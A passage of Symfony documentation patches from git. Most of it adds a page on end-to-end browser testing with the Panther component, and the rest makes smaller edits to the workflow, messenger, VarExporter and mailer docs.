From: Tobias Sette <tobiasette@gmail.com>
Date: Thu, 26 Oct 2023 14:49:08 -0300
Subject: [PATCH 5385/7107] Update performance.rst to use
 $container->getParameterBag()

---
 performance.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/performance.rst b/performance.rst
index 847da532769..41425dafb2f 100644
--- a/performance.rst
+++ b/performance.rst
@@ -81,7 +81,7 @@ container into a single file, which could improve performance when using
         // config/services.php
 
         // ...
-        $container->parameters()->set('.container.dumper.inline_factories', true);
+        $configurator->parameters()->set('.container.dumper.inline_factories', true);
 
 .. _performance-use-opcache:
 

From c86dc72fbb1b7657b49b22478f863501ad74e64a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 13 Nov 2023 09:52:21 +0100
Subject: [PATCH 5386/7107] Updated code example

---
 performance.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/performance.rst b/performance.rst
index 41425dafb2f..fac10407759 100644
--- a/performance.rst
+++ b/performance.rst
@@ -79,9 +79,11 @@ container into a single file, which could improve performance when using
     .. code-block:: php
 
         // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        // ...
-        $configurator->parameters()->set('.container.dumper.inline_factories', true);
+        return function(ContainerConfigurator $container): void {
+            $container->parameters()->set('.container.dumper.inline_factories', true);
+        };
 
 .. _performance-use-opcache:
 

From e1d8df73f0313c706780ac8589de1b616b8e934a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 13 Nov 2023 10:26:29 +0100
Subject: [PATCH 5387/7107] Tweak

---
 components/console/helpers/questionhelper.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst
index 08cb75149e2..d5d08f863b8 100644
--- a/components/console/helpers/questionhelper.rst
+++ b/components/console/helpers/questionhelper.rst
@@ -184,9 +184,9 @@ this use :method:`Symfony\\Component\\Console\\Question\\ChoiceQuestion::setMult
     }
 
 Now, when the user enters ``1,2``, the result will be:
-``You have just selected: blue, yellow``.
-The user can enter string: ``blue,yellow`` as well or even mix string and
-the index of the choice like ``blue,2``.
+``You have just selected: blue, yellow``. The user can also enter strings
+(e.g. ``blue,yellow``) and even mix strings and the index of the choices
+(e.g. ``blue,2``).
 
 If the user does not enter anything, the result will be:
 ``You have just selected: red, blue``.

From 175807f8bc957d1644e8f13820aa215e6860e895 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sun, 12 Nov 2023 11:39:54 +0100
Subject: [PATCH 5388/7107] [Workflow] Mention the
 `workflow.marking_store.service` option

---
 workflow.rst | 77 ++++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 77 insertions(+)

diff --git a/workflow.rst b/workflow.rst
index e9e3dff2939..422400476f0 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -813,6 +813,83 @@ place::
         }
     }
 
+Creating Your Own Marking Store
+-------------------------------
+
+You may need to implement your own store to execute some additional logic
+when the marking is updated. For example, you may have some specific needs
+to store the marking on certain workflows. To do this, you need to implement
+the
+:class:`Symfony\\Component\\Workflow\\MarkingStore\\MarkingStoreInterface`::
+
+    namespace App\Workflow\MarkingStore;
+
+    use Symfony\Component\Workflow\Marking;
+    use Symfony\Component\Workflow\MarkingStore\MarkingStoreInterface;
+
+    final class BlogPostMarkingStore implements MarkingStoreInterface
+    {
+        public function getMarking(BlogPost $subject): Marking
+        {
+            return new Marking([$subject->getCurrentPlace() => 1]);
+        }
+
+        public function setMarking(BlogPost $subject, Marking $marking): void
+        {
+            $marking = key($marking->getPlaces());
+            $subject->setCurrentPlace($marking);
+        }
+    }
+
+Once your marking store is implemented, you can configure your workflow to use
+it:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/workflow.yaml
+        framework:
+            workflows:
+                blog_publishing:
+                    # ...
+                    marking_store:
+                        service: 'App\Workflow\MarkingStore\BlogPostMarkingStore'
+
+    .. code-block:: xml
+
+        <!-- config/packages/workflow.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"
+        >
+            <framework:config>
+                <framework:workflow name="blog_publishing">
+                    <!-- ... -->
+                    <framework:marking-store service="App\Workflow\MarkingStore\BlogPostMarkingStore"/>
+                </framework:workflow>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/workflow.php
+        use App\Workflow\MarkingStore\ReflectionMarkingStore;
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework): void {
+            // ...
+
+            $blogPublishing = $framework->workflows()->workflows('blog_publishing');
+            // ...
+
+            $blogPublishing->markingStore()
+                ->service(BlogPostMarkingStore::class);
+        };
+
 Usage in Twig
 -------------
 

From 536ea8b01d85298a80b4520bb818102951d807bb Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 14 Nov 2023 10:05:43 +0100
Subject: [PATCH 5389/7107] [Messenger] Fix table indentation

---
 messenger.rst | 20 ++++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index ad15417aee5..d86162a3435 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2016,16 +2016,16 @@ You can configure your handler by passing options to the attribute::
 
 Possible options to configure with the attribute are:
 
-============================  ====================================================================================================
-Option                        Description
-============================  ====================================================================================================
-``bus``                       Name of the bus from which the handler can receive messages, by default all buses.
-``fromTransport``             Name of the transport from which the handler can receive messages, by default all transports.
-``handles``                   Type of messages (FQCN) that can be processed by the handler, only needed if can't be guessed by
-                              type-hint.
-``method``                    Name of the method that will process the message, only if the target is a class.
-``priority``                  Priority of the handler when multiple handlers can process the same message.
-============================  ====================================================================================================
+==============================  ====================================================================================================
+Option                          Description
+==============================  ====================================================================================================
+``bus``                         Name of the bus from which the handler can receive messages, by default all buses.
+``fromTransport``               Name of the transport from which the handler can receive messages, by default all transports.
+``handles``                     Type of messages (FQCN) that can be processed by the handler, only needed if can't be guessed by
+                                type-hint.
+``method``                      Name of the method that will process the message, only if the target is a class.
+``priority``                    Priority of the handler when multiple handlers can process the same message.
+==============================  ====================================================================================================
 
 .. _messenger-handler-config:
 

From d17116ae68f3ecb70a20cf695b748fe654981d26 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 14 Nov 2023 09:59:52 +0100
Subject: [PATCH 5390/7107] [VarExporter] Deprecate per-property
 lazy-initializers

---
 components/var_exporter.rst | 26 +++++++++++++++-----------
 1 file changed, 15 insertions(+), 11 deletions(-)

diff --git a/components/var_exporter.rst b/components/var_exporter.rst
index 12c1396b0f1..20213e05c06 100644
--- a/components/var_exporter.rst
+++ b/components/var_exporter.rst
@@ -199,9 +199,9 @@ LazyGhostTrait
 
 Ghost objects are empty objects, which see their properties populated the first
 time any method is called. Thanks to :class:`Symfony\\Component\\VarExporter\\LazyGhostTrait`,
-the implementation of the lazy mechanism is eased. In the following example, the
-``$hash`` property is defined as lazy. Also, the ``MyLazyObject::computeHash()``
-method should be called only when ``$hash``'s value need to be known::
+the implementation of the lazy mechanism is eased. The ``MyLazyObject::populateHash()``
+method will be called only when the object is actually used and needs to be
+initialized::
 
     namespace App\Hash;
 
@@ -219,17 +219,21 @@ method should be called only when ``$hash``'s value need to be known::
 
         public function __construct()
         {
-            self::createLazyGhost(initializer: [
-                'hash' => $this->computeHash(...),
-            ], instance: $this);
+            self::createLazyGhost(initializer: $this->populateHash(...), instance: $this);
         }
 
-        private function computeHash(array $data): string
+        private function populateHash(array $data): void
         {
             // Compute $this->hash value with the passed data
         }
     }
 
+.. deprecated:: 6.4
+
+    Using an array of closures for property-based initialization in the
+    ``createLazyGhost()`` method is deprecated since Symfony 6.4. Pass
+    a single closure that initializes the whole object instead.
+
 :class:`Symfony\\Component\\VarExporter\\LazyGhostTrait` also allows to
 convert non-lazy classes to lazy ones::
 
@@ -243,10 +247,10 @@ convert non-lazy classes to lazy ones::
 
         public function __construct(array $data)
         {
-            $this->hash = $this->computeHash($data);
+            $this->populateHash($data);
         }
 
-        private function computeHash(array $data): string
+        private function populateHash(array $data): void
         {
             // ...
         }
@@ -330,10 +334,10 @@ code::
     {
         public function __construct(array $data)
         {
-            $this->hash = $this->computeHash($data);
+            $this->populateHash($data);
         }
 
-        private function computeHash(array $data): string
+        private function populateHash(array $data): void
         {
             // ...
         }

From 4de910e2a5413fb58cd788eadbcb8c867b72b855 Mon Sep 17 00:00:00 2001
From: David Buchmann <david.buchmann@liip.ch>
Date: Tue, 14 Nov 2023 15:39:11 +0100
Subject: [PATCH 5391/7107] tip to not follow redirects when testing mailer

---
 mailer.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index 844b2d8f760..0f8d11c627b 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1597,6 +1597,11 @@ the :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\MailerAssertionsTrait`::
         }
     }
 
+.. tip::
+
+   If your controller returns a redirect response after sending the email, make sure to have your client *not* follow redirects.
+   The kernel is rebooted after following the redirection and the message lost from the mailer event handler.
+
 .. _`Amazon SES`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Amazon/README.md
 .. _`App Password`: https://support.google.com/accounts/answer/185833
 .. _`default_socket_timeout`: https://www.php.net/manual/en/filesystem.configuration.php#ini.default-socket-timeout

From 54114304aa798f309729748c0b7cee1c9b272f46 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 3 Nov 2023 09:07:43 +0100
Subject: [PATCH 5392/7107] [Panther] Add component documentation

---
 .doctor-rst.yaml       |   2 +-
 testing.rst            |  15 +-
 testing/end_to_end.rst | 828 +++++++++++++++++++++++++++++++++++++++++
 3 files changed, 838 insertions(+), 7 deletions(-)
 create mode 100644 testing/end_to_end.rst

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 7cb81dfe04f..f1c54d6cf07 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -111,4 +111,4 @@ whitelist:
         - '.. versionadded:: 3.6' # MonologBundle
         - '.. versionadded:: 3.8' # MonologBundle
         - '.. _`a feature to test applications using Mercure`: https://github.com/symfony/panther#creating-isolated-browsers-to-test-apps-using-mercure-or-websocket'
-        - '..  End to End Tests (E2E)'
+        - 'End to End Tests (E2E)'
diff --git a/testing.rst b/testing.rst
index 47d28301088..b8f3fd1bebe 100644
--- a/testing.rst
+++ b/testing.rst
@@ -1166,12 +1166,15 @@ HttpClient Assertions
 
     The HttpClient assertions were introduced in Symfony 6.4.
 
-.. TODO
-..  End to End Tests (E2E)
-..  ----------------------
-..  * panther
-..  * testing javascript
-..  * UX or form collections as example?
+End to End Tests (E2E)
+~~~~~~~~~~~~~~~~~~~~~~
+
+If you need to test the application as a whole, including the JavaScript
+code, you can use a real browser instead of the test client. This is
+called an end-to-end test and it's a great way to test the application.
+
+This can be achieved thanks to the Panther component. You can learn more
+about it in :doc:`the dedicated page </testing/end_to_end>`.
 
 Learn more
 ----------
diff --git a/testing/end_to_end.rst b/testing/end_to_end.rst
new file mode 100644
index 00000000000..4ae6fb9da15
--- /dev/null
+++ b/testing/end_to_end.rst
@@ -0,0 +1,828 @@
+End-to-End Testing
+==================
+
+    The Panther component allows to drive a real web browser with PHP to create
+    end-to-end tests.
+
+Installation
+------------
+
+.. code-block:: terminal
+
+    $ composer require symfony/panther
+
+.. include:: /components/require_autoload.rst.inc
+
+Introduction
+------------
+
+End to end tests are a special type of application tests that
+simulate a real user interacting with your application. They are
+typically used to test the user interface (UI) of your application
+and the effects of these interactions (e.g. when I click on this button, a mail
+must be sent). The difference with functional tests detailed above is
+that End-to-End tests use a real browser instead of a simulated one. This
+browser can run in headless mode (without a graphical interface) or not.
+The first option is convenient for running tests in a Continuous Integration
+(CI), while the second one is useful for debugging purpose.
+
+This is the purpose of Panther, a component that provides a real browser
+to run your tests. Here are a few things that make Panther special, compared
+to other testing tools provided by Symfony:
+
+* Possibility to take screenshots of the browser at any time during the test
+* The JavaScript code contained in webpages is executed
+* Panther supports everything that Chrome (or Firefox) implements
+* Convenient way to test real-time applications (e.g. WebSockets, Server-Sent Events
+  with Mercure, etc.)
+
+Installing Web Drivers
+~~~~~~~~~~~~~~~~~~~~~~
+
+Panther uses the WebDriver protocol to control the browser used to crawl
+websites. On all systems, you can use `dbrekelmans/browser-driver-installer`_
+to install ChromeDriver and geckodriver locally:
+
+.. code-block:: terminal
+
+    $ composer require --dev dbrekelmans/bdi
+
+    $ vendor/bin/bdi detect drivers
+
+Panther will detect and use automatically drivers stored in the ``drivers/`` directory
+of your project when installing them manually. You can download `ChromeDriver`_
+for Chromium or Chromeand `GeckoDriver`_ for Firefox and put them anywhere in
+your ``PATH`` or in the ``drivers/`` directory of your project.
+
+Alternatively, you can use the package manager of your operating system
+to install them:
+
+.. code-block:: terminal
+
+    # Ubuntu
+    $ apt-get install chromium-chromedriver firefox-geckodriver
+
+    # MacOS, using Homebrew
+    $ brew install chromedriver geckodriver
+
+    # Windows, using Chocolatey
+    $ choco install chromedriver selenium-gecko-driver
+
+.. _panther_phpunit-extension:
+
+Registering The PHPUnit Extension
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you intend to use Panther to test your application, it is strongly recommended
+to register the Panther PHPUnit extension. While not strictly mandatory, this
+extension dramatically improves the testing experience by boosting the performance
+and allowing to use the :ref:`interactive debugging mode <panther_interactive-mode>`.
+
+When using the extension in conjunction with the ``PANTHER_ERROR_SCREENSHOT_DIR``
+environment variable, tests using the Panther client that fail or error (after the
+client is created) will automatically get a screenshot taken to help debugging.
+
+To register the Panther extension, add the following lines to ``phpunit.xml.dist``:
+
+.. code-block:: xml
+
+    <!-- phpunit.xml.dist -->
+    <extensions>
+        <extension class="Symfony\Component\Panther\ServerExtension"/>
+    </extensions>
+
+Without the extension, the web server used by Panther to serve the application
+under test is started on demand and stopped when ``tearDownAfterClass()`` is called.
+On the other hand, when the extension is registered, the web server will be stopped
+only after the very last test.
+
+Usage
+-----
+
+Here is an example of a snippet that uses Panther to test an application::
+
+    use Symfony\Component\Panther\Client;
+
+    $client = Client::createChromeClient();
+    // alternatively, create a Firefox client
+    $client = Client::createFirefoxClient();
+
+    $client->request('GET', 'https://api-platform.com');
+    $client->clickLink('Getting started');
+
+    // wait for an element to be present in the DOM, even if hidden
+    $crawler = $client->waitFor('#installing-the-framework');
+    // you can also wait for an element to be visible
+    $crawler = $client->waitForVisibility('#installing-the-framework');
+
+    // get the text of an element thanks to the query selector syntax
+    echo $crawler->filter('#installing-the-framework')->text();
+    // take a screenshot of the current page
+    $client->takeScreenshot('screen.png');
+
+.. note::
+
+    According to the specification, WebDriver implementations return only the
+    **displayed** text by default. When you filter on a ``head`` tag (like
+    ``title``), the method ``text()`` returns an empty string. Use the
+    ``html()`` method to get the complete contents of the tag, including the
+    tag itself.
+
+Creating a TestCase
+~~~~~~~~~~~~~~~~~~~
+
+The ``PantherTestCase`` class allows you to write end-to-end tests. It
+automatically starts your app using the built-in PHP web server and let
+you crawl it using Panther. To provide all the testing tools you're used
+to, it extends `PHPUnit`_'s ``TestCase``.
+
+If you are testing a Symfony application, ``PantherTestCase`` automatically
+extends the :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\WebTestCase` class.
+It means you can create functional tests, which can directly execute the
+kernel of your application and access all your existing services.
+In this case, you can use
+:ref:`all crawler test assertions <testing-application-assertions>`
+provided by Symfony with Panther.
+
+Here is an example of a ``PantherTestCase``::
+
+    namespace App\Tests;
+
+    use Symfony\Component\Panther\PantherTestCase;
+
+    class HomepageTest extends PantherTestCase
+    {
+        public function testMyApp(): void
+        {
+            // your app is automatically started using the built-in web server
+            $client = static::createPantherClient();
+            $client->request('GET', '/home');
+
+            // use any PHPUnit assertion, including the ones provided by Symfony...
+            $this->assertPageTitleContains('My Title');
+            $this->assertSelectorTextContains('#main', 'My body');
+
+            // ... or the one provided by Panther
+            $this->assertSelectorIsEnabled('.search');
+            $this->assertSelectorIsDisabled('[type="submit"]');
+            $this->assertSelectorIsVisible('.errors');
+            $this->assertSelectorIsNotVisible('.loading');
+            $this->assertSelectorAttributeContains('.price', 'data-old-price', '42');
+            $this->assertSelectorAttributeNotContains('.price', 'data-old-price', '36');
+
+            // ...
+        }
+    }
+
+Panther client comes with methods that wait until some asynchronous process
+finishes::
+
+    namespace App\Tests;
+
+    use Symfony\Component\Panther\PantherTestCase;
+
+    class HomepageTest extends PantherTestCase
+    {
+        public function testMyApp(): void
+        {
+            // ...
+
+            // wait for element to be attached to the DOM
+            $client->waitFor('.popin');
+
+            // wait for element to be removed from the DOM
+            $client->waitForStaleness('.popin');
+
+            // wait for element of the DOM to become visible
+            $client->waitForVisibility('.loader');
+
+            // wait for element of the DOM to become hidden
+            $client->waitForInvisibility('.loader');
+
+            // wait for text to be inserted in the element content
+            $client->waitForElementToContain('.total', '25 €');
+
+            // wait for text to be removed from the element content
+            $client->waitForElementToNotContain('.promotion', '5%');
+
+            // wait for the button to become enabled
+            $client->waitForEnabled('[type="submit"]');
+
+            // wait for  the button to become disabled
+            $client->waitForDisabled('[type="submit"]');
+
+            // wait for the attribute to contain content
+            $client->waitForAttributeToContain('.price', 'data-old-price', '25 €');
+
+            // wait for the attribute to not contain content
+            $client->waitForAttributeToNotContain('.price', 'data-old-price', '25 €');
+        }
+    }
+
+Finally, you can also make assertions on things that will happen in the
+future::
+
+    namespace App\Tests;
+
+    use Symfony\Component\Panther\PantherTestCase;
+
+    class HomepageTest extends PantherTestCase
+    {
+        public function testMyApp(): void
+        {
+            // ...
+
+            // element will be attached to the DOM
+            $this->assertSelectorWillExist('.popin');
+
+            // element will be removed from the DOM
+            $this->assertSelectorWillNotExist('.popin');
+
+            // element will be visible
+            $this->assertSelectorWillBeVisible('.loader');
+
+            // element will not be visible
+            $this->assertSelectorWillNotBeVisible('.loader');
+
+            // text will be inserted in the element content
+            $this->assertSelectorWillContain('.total', '€25');
+
+            // text will be removed from the element content
+            $this->assertSelectorWillNotContain('.promotion', '5%');
+
+            // button will be enabled
+            $this->assertSelectorWillBeEnabled('[type="submit"]');
+
+            // button will be disabled
+            $this->assertSelectorWillBeDisabled('[type="submit"]');
+
+            // attribute will contain content
+            $this->assertSelectorAttributeWillContain('.price', 'data-old-price', '€25');
+
+            // attribute will not contain content
+            $this->assertSelectorAttributeWillNotContain('.price', 'data-old-price', '€25');
+        }
+    }
+
+You can then run this test by using PHPUnit, like you would do for any other
+test:
+
+.. code-block:: terminal
+
+    $ ./vendor/bin/phpunit tests/HomepageTest.php
+
+When writing end-to-end tests, you should keep in mind that they are
+slower than other tests. If you need to check that the WebDriver connection
+is still active during long-running tests, you can use the
+``Client::ping()`` method which returns a boolean depending on the
+connection status.
+
+Advanced Usage
+--------------
+
+Changing The Hostname and the Port Of The Web Server
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you want to change the host and/or the port used by the built-in web server,
+pass the ``hostname`` and ``port`` to the ``$options`` parameter of the
+``createPantherClient()`` method::
+
+    $client = self::createPantherClient([
+        'hostname' => 'example.com', // defaults to 127.0.0.1
+        'port' => 8080, // defaults to 9080
+    ]);
+
+Using Browser-Kit Clients
+~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Panther also gives access to other BrowserKit-based implementations of
+``Client`` and ``Crawler``. Unlike Panther's native client, these alternative
+clients don't support JavaScript, CSS and screenshot capturing, but are way
+faster. Two alternative clients are available:
+
+* The first directly manipulates the Symfony kernel provided by
+  ``WebTestCase``. It is the fastest client available, but it
+  is only available for Symfony applications.
+* The second leverages :class:`Symfony\\Component\\BrowserKit\\HttpBrowser`.
+  It is an intermediate between Symfony's kernel and Panther's test clients.
+  ``HttpBrowser`` sends real HTTP requests using the
+  :doc:`HttpClient component </http_client>`. It is fast and is able to browse
+  any webpage, not only the ones of the application under test.
+  However, HttpBrowser doesn't support JavaScript and other advanced features
+  because it is entirely written in PHP. This one can be used in any PHP
+  application.
+
+Because all clients implement the exact same API, you can switch from one to
+another just by calling the appropriate factory method, resulting in a good
+trade-off for every single test case: if JavaScript is needed or not, if an
+authentication against an external SSO has to be done, etc.
+
+Here is how to retrieve instances of these clients::
+
+    namespace App\Tests;
+
+    use Symfony\Component\Panther\Client;
+    use Symfony\Component\Panther\PantherTestCase;
+
+    class AppTest extends PantherTestCase
+    {
+        public function testMyApp(): void
+        {
+            // retrieve an existing client
+            $symfonyClient = static::createClient();
+            $httpBrowserClient = static::createHttpBrowserClient();
+            $pantherClient = static::createPantherClient();
+            $firefoxClient = static::createPantherClient(['browser' => static::FIREFOX]);
+
+            // create a custom client
+            $customChromeClient = Client::createChromeClient(null, null, [], 'https://example.com');
+            $customFirefoxClient = Client::createFirefoxClient(null, null, [], 'https://example.com');
+            $customSeleniumClient = Client::createSeleniumClient('http://127.0.0.1:4444/wd/hub', null, 'https://example.com');
+
+            // if you are testing a Symfony app, you also have access to the kernel
+            $kernel = static::createKernel();
+
+            // ...
+        }
+    }
+
+.. note::
+
+    When initializing a custom client, the integrated web server **is not** started
+    automatically. Use ``PantherTestCase::startWebServer()`` or the ``WebServerManager``
+    class if you want to start it manually.
+
+Testing Real-Time Applications
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Panther provides a convenient way to test applications with real-time
+capabilities which use `Mercure`_, `WebSocket`_ and similar technologies.
+
+The ``PantherTestCase::createAdditionalPantherClient()`` method can create
+additional, isolated browsers which can interact with other ones. For instance,
+this can be useful to test a chat application having several users
+connected simultaneously::
+
+    use Symfony\Component\Panther\PantherTestCase;
+
+    class ChatTest extends PantherTestCase
+    {
+        public function testChat(): void
+        {
+            $client1 = self::createPantherClient();
+            $client1->request('GET', '/chat');
+
+            // connect a 2nd user using an isolated browser
+            $client2 = self::createAdditionalPantherClient();
+            $client2->request('GET', '/chat');
+            $client2->submitForm('Post message', ['message' => 'Hi folks !']);
+
+            // wait for the message to be received by the first client
+            $client1->waitFor('.message');
+
+            // Symfony Assertions are *always* executed in the primary browser
+            $this->assertSelectorTextContains('.message', 'Hi folks !');
+        }
+    }
+
+Accessing Browser Console Logs
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If needed, you can use Panther to access the content of the console::
+
+    use Symfony\Component\Panther\PantherTestCase;
+
+    class ConsoleTest extends PantherTestCase
+    {
+        public function testConsole(): void
+        {
+            $client = self::createPantherClient(
+                [],
+                [],
+                [
+                    'capabilities' => [
+                        'goog:loggingPrefs' => [
+                            'browser' => 'ALL', // calls to console.* methods
+                            'performance' => 'ALL', // performance data
+                        ],
+                    ],
+                ]
+            );
+
+            $client->request('GET', '/');
+
+            $consoleLogs = $client->getWebDriver()->manage()->getLog('browser');
+            $performanceLogs = $client->getWebDriver()->manage()->getLog('performance'); // performance logs
+        }
+    }
+
+Passing Arguments to ChromeDriver
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If needed, you can configure `the arguments`_ to pass to the ``chromedriver`` binary::
+
+    use Symfony\Component\Panther\PantherTestCase;
+
+    class MyTest extends PantherTestCase
+    {
+        public function testLogging(): void
+        {
+            $client = self::createPantherClient(
+                [],
+                [],
+                [
+                    'chromedriver_arguments' => [
+                        '--log-path=myfile.log',
+                        '--log-level=DEBUG'
+                    ],
+                ]
+            );
+
+            $client->request('GET', '/');
+        }
+    }
+
+Using a Proxy
+~~~~~~~~~~~~~
+
+To use a proxy server, you have to set the ``PANTHER_CHROME_ARGUMENTS``:
+
+.. code-block:: bash
+
+    # .env.test
+    PANTHER_CHROME_ARGUMENTS='--proxy-server=socks://127.0.0.1:9050'
+
+Accepting Self-Signed SSL Certificates
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+To force Chrome to accept invalid and self-signed certificates, you can set the
+following environment variable: ``PANTHER_CHROME_ARGUMENTS='--ignore-certificate-errors'``.
+
+.. caution::
+
+    This option is insecure, use it only for testing in development environments,
+    never in production (e.g. for web crawlers).
+
+For Firefox, instantiate the client like this, you can do this at client
+creation::
+
+    $client = Client::createFirefoxClient(null, null, ['capabilities' => ['acceptInsecureCerts' => true]]);
+
+Using An External Web Server
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Sometimes, it's convenient to reuse an existing web server configuration
+instead of starting the built-in PHP one. To do so, set the
+``external_base_uri`` option when creating your client::
+
+    namespace App\Tests;
+
+    use Symfony\Component\Panther\PantherTestCase;
+
+    class E2eTest extends PantherTestCase
+    {
+        public function testMyApp(): void
+        {
+            $pantherClient = static::createPantherClient(['external_base_uri' => 'https://localhost']);
+
+            // ...
+        }
+    }
+
+.. note::
+
+    When using an external web server, Panther will not start the built-in
+    PHP web server.
+
+Having a Multi-domain Application
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+It happens that your PHP/Symfony application might serve several different
+domain names. As Panther saves the Client in memory between tests to improve
+performance, you will have to run your tests in separate
+processes if you write several tests using Panther for different domain names.
+
+To do so, you can use the native ``@runInSeparateProcess`` PHPUnit annotation.
+Here is an example using the ``external_base_uri`` option to determine the
+domain name used by the Client when using separate processes::
+
+    // tests/FirstDomainTest.php
+    namespace App\Tests;
+
+    use Symfony\Component\Panther\PantherTestCase;
+
+    class FirstDomainTest extends PantherTestCase
+    {
+        /**
+         * @runInSeparateProcess
+         */
+        public function testMyApp(): void
+        {
+            $pantherClient = static::createPantherClient([
+                'external_base_uri' => 'http://mydomain.localhost:8000',
+            ]);
+
+            // ...
+        }
+    }
+
+    // tests/SecondDomainTest.php
+    namespace App\Tests;
+
+    use Symfony\Component\Panther\PantherTestCase;
+
+    class SecondDomainTest extends PantherTestCase
+    {
+        /**
+         * @runInSeparateProcess
+         */
+        public function testMyApp(): void
+        {
+            $pantherClient = static::createPantherClient([
+                'external_base_uri' => 'http://anotherdomain.localhost:8000',
+            ]);
+
+            // ...
+        }
+    }
+
+Usage With Other Testing Tools
+------------------------------
+
+If you want to use Panther with other testing tools like `LiipFunctionalTestBundle`_
+or if you just need to use a different base class, you can use the
+``Symfony\Component\Panther\PantherTestCaseTrait`` to enhance your existing
+test-infrastructure with some Panther mechanisms::
+
+    namespace App\Tests\Controller;
+
+    use Liip\FunctionalTestBundle\Test\WebTestCase;
+    use Symfony\Component\Panther\PantherTestCaseTrait;
+
+    class DefaultControllerTest extends WebTestCase
+    {
+        use PantherTestCaseTrait;
+
+        public function testWithFixtures(): void
+        {
+            $this->loadFixtures([]); // load your fixtures
+            $client = self::createPantherClient(); // create your panther client
+
+            $client->request('GET', '/');
+
+            // ...
+        }
+    }
+
+Configuring Panther Through Environment Variables
+-------------------------------------------------
+
+The following environment variables can be set to change some Panther's
+behavior:
+
+``PANTHER_NO_HEADLESS``
+    Disable the browser's headless mode (will display the testing window, useful to debug)
+``PANTHER_WEB_SERVER_DIR``
+    Change the project's document root (default to ``./public/``, relative paths **must start** by ``./``)
+``PANTHER_WEB_SERVER_PORT``
+    Change the web server's port (default to ``9080``)
+``PANTHER_WEB_SERVER_ROUTER``
+    Use a web server router script which is run at the start of each HTTP request
+``PANTHER_EXTERNAL_BASE_URI``
+    Use an external web server (the PHP built-in web server will not be started)
+``PANTHER_APP_ENV``
+    Override the ``APP_ENV`` variable passed to the web server running the PHP app
+``PANTHER_ERROR_SCREENSHOT_DIR``
+    Set a base directory for your failure/error screenshots (e.g. ``./var/error-screenshots``)
+``PANTHER_DEVTOOLS``
+    Toggle the browser's dev tools (default ``enabled``, useful to debug)
+``PANTHER_ERROR_SCREENSHOT_ATTACH``
+    Add screenshots mentioned above to test output in junit attachment format
+
+Chrome Specific Environment Variables
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+``PANTHER_NO_SANDBOX``
+    Disable `Chrome's sandboxing`_ (unsafe, but allows to use Panther in containers)
+``PANTHER_CHROME_ARGUMENTS``
+    Customize Chrome arguments. You need to set ``PANTHER_NO_HEADLESS`` to fully customize
+``PANTHER_CHROME_BINARY``
+    To use another ``google-chrome`` binary
+
+Firefox Specific Environment Variables
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+``PANTHER_FIREFOX_ARGUMENTS``
+    Customize Firefox arguments. You need to set ``PANTHER_NO_HEADLESS`` to fully customize
+``PANTHER_FIREFOX_BINARY``
+    To use another ``firefox`` binary
+
+.. _panther_interactive-mode:
+
+Interactive Mode
+----------------
+
+Panther can make a pause in your tests suites after a failure.
+Thanks to this break time, you can investigate the encountered problem through
+the web browser. To enable this mode, you need the ``--debug`` PHPUnit option
+without the headless mode:
+
+.. code-block:: terminal
+
+    $ PANTHER_NO_HEADLESS=1 bin/phpunit --debug
+
+    Test 'App\AdminTest::testLogin' started
+    Error: something is wrong.
+
+    Press enter to continue...
+
+To use the interactive mode, the
+:ref:`PHPUnit extension <panther_phpunit-extension>` has to be registered.
+
+Docker Integration
+------------------
+
+Here is a minimal Docker image that can run Panther with both Chrome and
+Firefox:
+
+.. code-block:: dockerfile
+
+    FROM php:alpine
+
+    # Chromium and ChromeDriver
